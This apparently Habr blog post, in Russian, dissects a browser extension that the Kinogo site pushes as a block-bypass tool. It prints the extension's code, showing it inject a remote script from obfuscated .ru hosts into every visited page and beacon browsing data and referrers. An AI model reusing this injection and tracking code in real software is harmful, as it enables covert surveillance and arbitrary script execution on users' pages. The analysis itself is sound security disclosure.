Pull to refresh

Браузерное расширение от сайта Kinogo

Reading time 6 min
Views 124K
Продолжая тему обзора расширений, рассмотрим следующее.
При входе на сайт Kinogo начал возникать баннер:



Мне стало интересно что это за расширение и решил просмотреть код.

Почему появилось расширение?


Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):



Текст со скриншота
Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.

Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.

Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.

О расширении


Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.

Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3

Обзор кода расширения


Коротко опишу, только интересную цепочку:

1. Разбор любого расширения начинается с manifest.json

manifest.json
{
   "background": {
      "page": "html/background.html"
   },
   "content_scripts": [ {
      "js": [
         "core/frameworks/cajon.js",
         "core/frameworks/jquery.js",
         "core/process.js"
      ],
      "matches": [ "*://*/*" ],
      "run_at": "document_start"
   } ],
   "description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
   "icons": {
      "128": "images/128.png",
      "16": "images/16.png",
      "48": "images/48.png"
   },
   "manifest_version": 2,
   "name": "Angry Kino - уход от бана",
   "permissions": [
      "webRequest",
      "webRequestBlocking",
      "webNavigation",
      "tabs",
      "\u003Call_urls>"
   ],
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "1.0.3",
   "web_accessible_resources": [
      "images/_.png",
      "core/content.js",
      "core/contentSession.js",
      "core/messaging.js",
      "core/frameworks/uri.js",
      "core/backgroundHandlers.js",
      "core/backgroundSession.js",
      "core/backgroundUtils.js"
   ]
}


2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js

process.js
require.config({
  baseUrl:  chrome.extension.getURL('/') 
});


require([
  "core/content"
], function() { 
});


3. В process.js с помощью функции require подключается файл «content.js»

content.js
define(function (require) {
    exports = {};

    (function () {
        var messageDispatcher = require('core/messaging').MessageDispatcher;

        messageDispatcher.sendToBackground(
            {
                cmd: 'GetRequestUrl'
            }, function (url) {
                if (url) {
                    url = url.replace(/^https?:/, '')
                            + '&r=' + encodeURIComponent(document.referrer)
                            + '&h=' + encodeURIComponent(document.location.host)
                            + '&rand=' + (new Date()).getTime();

                    if (document.head) {
                        $("head").append($("<script />", {
                            src: url
                        }));
                    } else {
                        var i = setInterval(function () {
                            if (document.head) {
                                clearInterval(i);
                                $("head").append($("<script />", {
                                    src: url
                                }));
                            }
                        }, 100);
                    }
                }
            });

        if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {

            var i2 = setInterval(function () {
                if (document.body) {
                    clearInterval(i2);
                    $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
                }
            }, 100);
        }

    }).call(this);

    return exports;
});


4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js

messaging.js
define(function (require) {
    exports = {};

    (function () {

        var _handlers = {};

        function dispatcher(handlers, request, sender, sendResponse) {
            if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
                throw 'Error: Bad request!';
            }

            var handlerName = 'handle' + request.cmd;
            var handler = handlers[handlerName];
            if (!(typeof handler === 'function')) {
                return;
            }

            handler(request.args, sender, sendResponse);
        }

        chrome.extension.onMessage.addListener(
            function (request, sender, sendResponse) {
                dispatcher(_handlers, request, sender, sendResponse);
            }
        );

        exports.MessageDispatcher = {
            
            addHandlers: function(handlers) {
                for(var name in handlers) {
                    _handlers[name] = handlers[name];
                }
            },
            
            sendToBackground: function (request, callback) {

                callback = callback || $.noop;
                chrome.extension.sendMessage(request, callback);
            },
            sendToContentScript: function (tabId, request, callback) {

                callback = callback || $.noop;
                chrome.tabs.sendMessage(tabId, request, callback);
            }

        };

    }).call(this);

    return exports;
});


5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.

6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.

7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:

manifest.json ==(key "background.page")==> background.html
backround.html ==(script)==> demon.js
demon.js ==(require)==> backround.js
background.js ==(require)==> backgroundHandlers.js
backgroundHandlers.js ==(require)==> backgroundUtils.js


8. Рассмотрим backgroundUtils.js

backgroundUtils.js
define(function (require) {
    exports = {};
    (function () {

        var Session = require('core/backgroundSession').Session;
        var ProxyGetter = require('core/proxy').ProxyGetter;


        exports = {
            getRequestUrl: function() {
                if (ProxyGetter.serverIp) {
                    return (
                            ProxyGetter.serverIp + '/getscripts2?'
                            + this.getRequestParams()
                        );
                }
            },
            
            getRequestParams: function() {
                return ('&b=' + Session.buildId
                        + '&uid=' + Session.instanceId
                        + '&insd=' + Session.installDate
                        + '&sid=' 
                        + '&df=' 
                    );
            },
            
            sendNotify: function(from, to) {
                if (ProxyGetter.serverIp) {
                    var url = (
                            ProxyGetter.serverIp + '/kinogo_log?'
                            + this.getRequestParams()
                            + '&from=' + encodeURIComponent(from)
                            + '&to=' + encodeURIComponent(to)
                        );
                
                    $.get(url);
                }
            }
        };

    }).call(this);


    return exports;
});


9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).

'http://outrageous.ru',
'http://thrilling.ru',
'http://frightened.ru',
'http://agitated.ru',

proxy.js
define(function (require) {
    exports = {};

    (function () {
        
		/**
		* Bypass protection from Roskomnadzor
		*/
        var reserveLinks = [
            'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
            'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
            'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
            'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
        ];
        
        var ProxyGetter = {};
        ProxyGetter.serverIp = null;
        
        /**
         * Use proxy
         * @param {type} callback
         * @returns {undefined}
         */
        ProxyGetter.findServer = function (callback) {
            ProxyGetter.serverIp = null;
            if(reserveLinks.length > 0) {
                ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
            }
            callback();
        };
        
        exports.ProxyGetter = ProxyGetter;

    }).call(this);
    return exports;
});


10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.

Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:



А теперь соберем все воедино:

1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.

Выводы делайте сами.

P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
Tags:
Hubs:
+67
Comments 56
Comments Comments 56

Articles